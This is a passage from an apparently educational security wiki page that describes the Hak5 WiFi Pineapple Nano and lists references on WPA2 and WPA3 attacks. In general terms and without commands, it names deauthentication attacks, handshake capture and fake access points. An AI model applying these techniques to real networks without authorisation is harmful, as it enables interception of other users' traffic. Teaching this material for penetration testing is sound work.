&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
</feed>